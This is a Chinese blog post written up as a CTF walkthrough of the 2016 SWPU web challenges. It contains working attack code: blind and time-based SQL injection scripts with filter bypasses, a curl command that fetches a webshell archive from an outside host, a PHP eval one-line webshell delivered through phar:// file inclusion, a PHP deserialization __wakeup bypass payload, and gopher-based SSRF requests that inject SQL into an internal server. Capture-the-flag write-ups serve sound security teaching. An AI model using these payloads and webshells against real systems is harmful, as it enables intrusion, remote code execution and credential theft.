2016 SWPU 自己做出题目的思路分享

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/niexinming/article/details/52980140

web1的源码我已经下载好了,地址在:http://download.csdn.net/detail/niexinming/9668799

自己擅长sql注入,而这个题目刚刚适合我http://web1.08067.me

首先这个题目过滤了一大堆东西,比如and,or,空格,%0a,%0b%0c,尤其不能忍的是过滤了逗号,简直是个坑啊

由于过滤了and和or和空格,我用%a0来代替空格,用连等判断来代替and,or的数据,下面是这个原理的一个简单例子:

mysql> select 1 from dual where 1=1=1=(select '');
Empty set (0.16 sec)

mysql> select 1 from dual where 1=1=1=(select '1');
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

mysql> select 1 from dual where 1=1=1=(select 0);
Empty set (0.19 sec)

mysql> select 1 from dual where 1=1=1=(select 1);
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)



可以看出where后面的连等如果有一项的值为空或者为0的时候,那么整个查询结果都是空,否则就可以查询出东西

由于web1提示要登陆admin

所以就要用盲注,但是MySQL 字符串截取函数:left(), right(), substring(), substring_index()。还有 mid(), substr()都是需要逗号来传递参数的,而万恶的出题人却把逗号给过滤,好气哦,但是天无绝人之路,substring提供了另一个用法:SUBSTRING(str FROMpos FOR len),但是for这个参数却用不了,好心塞,不过没关系,可以从后到前一个一个猜字符了,原理是:

mysql> select substring('admin' from 5) from dual;
+---------------------------+
| substring('admin' from 5) |
+---------------------------+
| n                         |
+---------------------------+
1 row in set (0.00 sec)

mysql> select substring('admin' from 4) from dual;
+---------------------------+
| substring('admin' from 4) |
+---------------------------+
| in                        |
+---------------------------+
1 row in set (0.00 sec)

mysql> select substring('admin' from 3) from dual;
+---------------------------+
| substring('admin' from 3) |
+---------------------------+
| min                       |
+---------------------------+
1 row in set (0.00 sec)

mysql> select substring('admin' from 2) from dual;
+---------------------------+
| substring('admin' from 2) |
+---------------------------+
| dmin                      |
+---------------------------+
1 row in set (0.00 sec)


为了速度,我写了个小脚本来处理这个单调的盲注

__author__ = 'niexinming'
import urllib2
url="http://web1.08067.me/login.php"
data="abcdefghijklmnopqrstuvwxyz1234567890"
xx=""
flag=0
listdata=list(data)
for jj in range(0,33)[::-1]:
    #print jj
    for ii in listdata:
        post_data="uname=admin'=(select(select(substring(passwd%a0from%a0"+str(jj)+"))from%a0admin%a0where%a0uname='admin')='"+ii+xx+"')='1'='1&passwd=2"
        #print post_data
        req = urllib2.urlopen(url, post_data).read()
        if(req.find('password error')>-1):
            flag=1
            xx=ii+xx
            print xx
            break
        else:
            flag=0

最后拿到admin的密码:c12366feb7373bf6d869ab7d581215cf 解密之后1234567mn

我以为登陆了admin之后就完了,结果后面是个更大的坑啊!!!

后面是个可以执行命令的地方,测试了一下还是过滤了bash,python,php,perl,空格,但是留下了curl这个命令,空格的话linux中可以用${IFS}来代替,然后尝试下载一个zip的文件(zip里面包含一个一句话木马)在网站的根目录底下

下载指令

curl${IFS}-o${IFS}2.zip${IFS}http://xxx.xxx.xxx.xxx/2.zip

下载之后解压

unzip${IFS}2.zip

然后在网站的admin目录下就有一个2.php,地址:

http://web1.08067.me/admin/2.php

然后拿到flag

------------------------------------------------------------------------------------------web2-------------------------------------------------------------------------------------------------------------------------

web2

http://web2.08067.me:

首先这个题目给出一个提示:里面有个include.php

打开http://web2.08067.me/include.php,查看源码发现又一个提示:<!-- upload.php -->

发现有上传的地方,但是上传的地方只能上传图片文件,因为有个include.php有个任意包含漏洞,可以利用lfi读取upload.php和include.php的源码

读取源代码的方法:

http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=upload

把upload.php的源码以base64的方式返回回来,解码之后:

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILE["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

再读取include.php

http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=include

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

发现每一个地方都被限制死死的,包含的地方不能截断而且包含的文件只能是.php结尾的,上传的文件只能是图片文件

看来只有一种办法了,参考http://www.php.net/manual/zh/wrappers.phar.php

能用到phar://  这个协议了

如何创建一个phar文件呢?

方法一:

参考:https://segmentfault.com/a/1190000002166235

http://www.mamicode.com/info-detail-888559.html

现在我来创建自己的php的打包文件phar

首先在创建一个目录,名字是1

然后在1那个目录底下创建一个index.php内容是:

<?php @eval($_POST['c']);?> 
然后在1的目录外创建打包脚本phar.php内容是:

<?php
$phar = new Phar('my.phar');
$phar->buildFromDirectory(__DIR__.'/1', '/.php$/');
$phar->compressFiles(Phar::GZ);
$phar->stopBuffering();
$phar->setStub($phar->createDefaultStub('index.php'));

然后在shell中执行在1目录外面生成一个叫my.phar的打包文件

把my.phar改成my.jpg上传,然后访问:

http://web2.08067.me/include.php?file=phar://upload/heheda.jpg/index

这样一句话木马就可以执行了

方法二:

直接把一个一句话木马的php文件压缩成zip格式,然后把文件后缀改成jpg,然后上传,以同样的方式访问也能执行木马


不知道为什么用菜刀连接不到,我自己用php代码来读一下目录下有什么文件吧:

下面是php一句话读取目录:

$dh=opendir("./");while (($file = readdir($dh)) !== false){echo $file."<br>";}

然后发现flag文件在swpu_wbe2_tips.txt

直接访问:http://web2.08067.me/swpu_wbe2_tips.txt  就可以得到flag和下一个题目的提示



--------------------------------------------------------------------------------------------------------web3-----------------------------------------------------------------------------------------------------------

http://web3.08067.me/wakeup/index.php

官方给了提示:

.bak泄露,index.php.bak,function.php.bak

首先看index.php.bak的源码:

if(isset($_COOKIE['user'])){
	$login = @unserialize(base64_decode($_COOKIE['user']));
	if(!empty($login->pass)){
		$status = $login->check_login();
		if($status == 1){
			$_SESSION['login'] = 1;
			var_dump("login by cookie!!!");
		}
	}
}


看function.php.bak

class help {
    static function addslashes_deep($value)
    {
        if (empty($value))
        {
            return $value;
        }
        else
        {
            if (!get_magic_quotes_gpc())
            {
            $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));
            }
            else
            {
            $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);
            }
            return $value;
        }
    }
    static function remove_xss($string) { 
        $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);

        $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base');

        $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','href','action','location','background','src','poster');
        
        $parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','and','or','xor','update','insert','delete','alter','drop','truncate','script','eval','outfile','dumpfile');

        $parm = array_merge($parm1, $parm2, $parm3); 

        for ($i = 0; $i < sizeof($parm); $i++) { 
            $pattern = '/'; 
            for ($j = 0; $j < strlen($parm[$i]); $j++) { 
                if ($j > 0) { 
                    $pattern .= '('; 
                    $pattern .= '(&#[x|X]0([9][a][b]);?)?'; 
                    $pattern .= '|(�([9][10][13]);?)?'; 
                    $pattern .= ')?'; 
                }
                $pattern .= $parm[$i][$j]; 
            }
            $pattern .= '/i';
            $string = preg_replace($pattern, '****', $string); 
        }
        return $string;
    }
    static function mystrip_tags($string)
    {
        $string =  help::new_html_special_chars($string);
        $string =  help::remove_xss($string);
        return $string;
    }
    static function new_html_special_chars($string) {
        $string = str_replace(array('&', '"', '<', '>','&#'), array('&', '"', '<', '>','***'), $string);
        return $string;
    }
    // 实体出库
    static function htmlspecialchars_($value)
    {
        if (empty($value))
        {
            return $value;
        }
        else
        {
            if(is_array($value)){
                foreach ($value as $k => $v) {
                    $value[$k] = self::htmlspecialchars_($v);
                }
            }else{
                $value = htmlspecialchars($value);
            }
            return $value;
        }
    }
    //sql 过滤
    static function CheckSql($db_string,$querytype='select')
    {
        $clean = '';
        $error='';
        $old_pos = 0;
        $pos = -1;
        if($querytype=='select')
        {
            $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
            if(preg_match("/".$notallow1."/i", $db_string))
            {
                exit("Error");
            }
        }
        //完整的SQL检查
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE 
        OR strpos($clean,'$s$$s$')!== FALSE)
        {
            $fail = TRUE;
            if(preg_match("#^create table#i",$clean)) $fail = FALSE;
            $error="unusual character";
        }
        elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE)
        {
            $fail = TRUE;
            $error="comment detect";
        }
        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        if (!empty($fail))
        {
            exit("Error" . $error);
        }
        else
        {
            return $db_string;
        }
    }
}

class login{
	var $uid = 0;
    var $name='';
	var $pass='';
	
	//检查用户是否已登录
    public function check_login(){
		mysql_conn();
		$sqls = "select * from phpinfoadmin where username='$this->name'";
		$sqls = help::CheckSql($sqls);
		$re = mysql_query($sqls);
		$results = @mysql_fetch_array($re);
		//echo $sqls . $results['passwd'];
		mysql_close();
		if (!empty($results))
		{
			if($results['passwd'] == $this->pass)
			{
				return 1;
			}
			else
			{
				return 0;
			}
		}
		}
	//预防cookie某些破坏导致登陆失败
	public function __destruct(){
        $this->check_login();
    }
	//反序列化时检查数据
    public function __wakeup(){
		$this->name = help::addslashes_deep($this->name);
		$this->pass = help::addslashes_deep($this->pass);
    }
}
?>



看到源码中限制好多东西,似乎基本没有什么办法,但是php5.4以下有个漏洞

可以看http://www.venenof.com/index.php/archives/167/

可以参考ven牛的文章就可以搞定这个题目了

可以bypass的payload是这样的:

O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:6:"heheda";s:4:"pass";s:32:"00af6f190235a168c57be5cff86668b0";}

关键点是login":4: 里面这个4,这个4代表login类的变量有4个,但是实际上login类的变量有3个(uid,name,pass),如果类的变量和实际传入的不一样,反序列化后的类就不会执行魔术方法:__wakeup(),但是会执行魔术方法:__destruct()

所以利用这个漏洞进行sql注入:

但是这个漏洞没有任何回显,只能靠基于时间的盲注来拿到数据了

查看源码之后发现,他还是禁止了benchmark,sleep,load_file,into outfile,没有办法,我想到要用到一些消耗资源的方式让数据库的查询时间尽量变长,而消耗数据库资源的最有效的方式就是让两个大表做迪卡尔积,这样就可以让数据库的查询慢下来,而我最后找到系统表information_schema.columns 数据量比较大,可以满足我的要求,

让他们做笛卡尔积:

select count(*) from information_schema.columns, information_schema.columns T1,information_schema.columns T2

本地的运行的时间在十三秒左右

根据这个理论就可以不用benchmark,sleep而做延时注入了

而后来查资料,这种方法不是我自己发明的,这个有个专门的术语叫:heavy query ,可以参考更多例子在:http://www.sqlinjection.net/heavy-query/

写一个脚本让它慢慢跑,然后自己去洗澡

__author__ = 'niexinming'
import base64
import urllib
import urllib2
import base64
import time
#ll=list("abcdefghijklmnopqrstuvwxyz1234567890")
#llascii=[]
#for jj in ll:
#    llascii.append(ord(jj))
for kk in range(1,32):
    print "di : "+str(kk)
    for i in range(32,127):
       start= time.time()
       url="http://web3.08067.me/wakeup/index.php"
       sql="select flag from flag"
       post_data="username=heheda&password=heheda&login="
       payload="admin'and ascii(substring((%s),%s,1))=%s and (select count(*) from information_schema.columns, information_schema.columns T1,information_schema.columns T2)=1 and '1'='1" % (sql,str(kk),str(i))
       xueliehua='''O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:%s:"%s";s:4:"pass";s:32:"6be530e78ade605347059701a54f996e";}
       ''' % (str(len(payload)),payload)
       #print xueliehua
       b64=base64.b64encode(xueliehua)
       urlencodedata=urllib.quote(b64)
       heads={}
       heads["Cookie"]="user="+urlencodedata
       #print urlencodedata
       req = r=urllib2.Request(url,data=post_data,headers=heads)
       resual= urllib2.urlopen(r)
       resual.read()
       end= time.time()
       #print str(end-start)+":",
       #print chr(i)
       if 20>(end-start)>8:
           print "this this:"+str(kk)+" : "+chr(i)
           break


洗完澡之后就发现flag已经躺好了


--------------------------------------------------------------------------------------------------------web5-----------------------------------------------------------------------------------------------------------

http://web5.08067.me/

首先是官方给的提示是:

ssrf,关注下其他的协议,flag不在本机

然后就用file:///etc/sysconfig/network-scripts/ifcfg-eth0 读取网卡地址,发现

DEVICE=eth0
HWADDR=00:0C:29:F0:AE:2A
TYPE=Ethernet
UUID=a1ca5d0e-61c9-4693-82ee-437eb0331617
ONBOOT=yes
NM_CONTROLLED=yes
BOOTPROTO=static
IPADDR=172.16.181.165
NETMASK=255.255.255.0
GATEWAY=172.16.181.2
DNS1=114.114.114.114
DNS2=172.16.181.2

发现这台主机 所处的内网的网段是在172.16.181.0/24段。

然后探测下C段,发现只有172.16.181.166主机的80 存在一个应用。

尝试扫一波目录,发现了一个常规目录admin/login.php,访问之,发现一个登陆表单

但是这个表单数据的提交是用post来提交,这怎么办?

这时候就要请出一个古老的协议了:

gopher协议,百度百科有对这个协议的介绍:

http://baike.baidu.com/link?url=SBvPFzKhDIG2BP4WRdVnOL1EsNUxM-X9JllDG7h-FL3VkYfnTd7VMPZIV2iMJBF1UK4REpf_eo3o1x8jJkp_pK

然后利用gopher来构造post的请求包

http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%2029%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3D12312%26submit%3Dsubmit
发现返回来的数据是:

password error

这里构造的时候要注意url 的编码和Content-Length的长度不能算错

接着测试post数据username=admin' and '1'='1&password=123


http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%2041%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%27%20and%20%271%27%3D%271%26password%3D12312%26submit%3Dsubmit

发现返回来的数据是:

password error

但是测试post数据username=admin' and '1'='2&password=123

发现返回来的数据是:

error names

发现在username的地方有sql注入


然后写一个脚本来跑数据

# -*- coding: utf-8 -*-

import re
import os
import requests
import time
import urllib
sql="select password from ssrf"
for x in range(1,40):
	print "di:"+str(x)
	for i in range(32,127):
		payload="admin' and 1=1 and (select(ascii(mid(((%s)),%s,1))=%s))" % (sql,x,i)
        	payload=payload+"%23"
        	length=len(payload)
        	content_len=length+23
        # print content_len
        	u_payload=urllib.quote(payload)
        	url="http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%20"+str(content_len)+"%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3D"+u_payload+"%26password%3D1212"
        # print url

        	res=requests.get(url).text
        	if "password" in res:
            		print chr(i)
			break

最后admin的密码是:2dc8661a5be16d50941534eae3fffaa4

解密之后是:xiaozhang123

然后构造最后登陆的payload:

http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%2036%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dxiaozhang123%26submit%3Dsubmit

拿到最后的flag

没有更多推荐了,返回首页